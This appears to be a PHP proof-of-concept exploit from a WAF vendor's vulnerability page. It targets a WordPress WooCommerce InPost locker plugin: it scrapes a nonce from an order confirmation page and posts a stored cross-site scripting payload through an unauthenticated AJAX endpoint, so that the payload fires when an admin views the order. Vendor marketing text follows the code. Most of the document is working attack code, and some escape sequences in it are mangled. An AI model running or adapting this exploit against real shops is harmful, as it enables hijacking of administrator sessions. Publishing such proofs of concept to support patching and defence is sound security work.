// This PoC demonstrates the unauthenticated AJAX endpoint 'update_locker_from_typ_page'.
// The attacker must have a valid order ID and order key. In a real attack, the attacker would
// first place a guest order to obtain these values. The nonce is extracted from the page HTML.

$target_url = 'http://example.com'; // Change to the target WordPress site
$order_id   = '123'; // Attacker's order ID (obtained by placing an order)
$order_key  = 'wc_order_abc123'; // Attacker's order key (obtained from order confirmation page)

// Payload: break out of attribute and inject script
$payload = '"><script>alert(document.cookie)</script>';

// Step 1: Fetch the order confirmation page to extract the easypack_nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/checkout/order-received/' . $order_id . '/?key=' . $order_key);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from JavaScript variable 'easypack_nonce'
if (preg_match('/vars+easypack_nonces*=s*'([a-f0-9]+)';/', $response, $matches)) {
    $nonce = $matches[1];
} else {
    die("[-] Could not extract easypack_nonce. Make sure the order confirmation page is accessible.n");
}
echo "[+] Extracted nonce: $noncen";

// Step 2: Send AJAX request to update locker with malicious payload
$post_data = [
    'action'            => 'update_locker_from_typ_page',
    'security'          => $nonce,
    'inpost_pl_locker'  => $payload,
    'order_id'          => $order_id,
    'order_key'         => $order_key,
    'inpost_pl_locker_desc' => 'Test locker'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] AJAX response (HTTP $http_code): $responsen";

// Step 3: Verify stored XSS by accessing the order admin page (requires admin session)
// In a real attack, the script executes when an admin views the order.
// For demonstration, we can check if the payload is stored in the order meta.
// This requires admin authentication; not included in this PoC.
echo "[+] Exploit sent. If successful, the payload will execute when an admin views the order.n";

// Note: This PoC assumes the classic checkout is active. For the default blocks checkout,
// the attacker needs a subscriber account and must use the Store API endpoint.
// The principle remains the same: inject script via the locker ID parameter.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.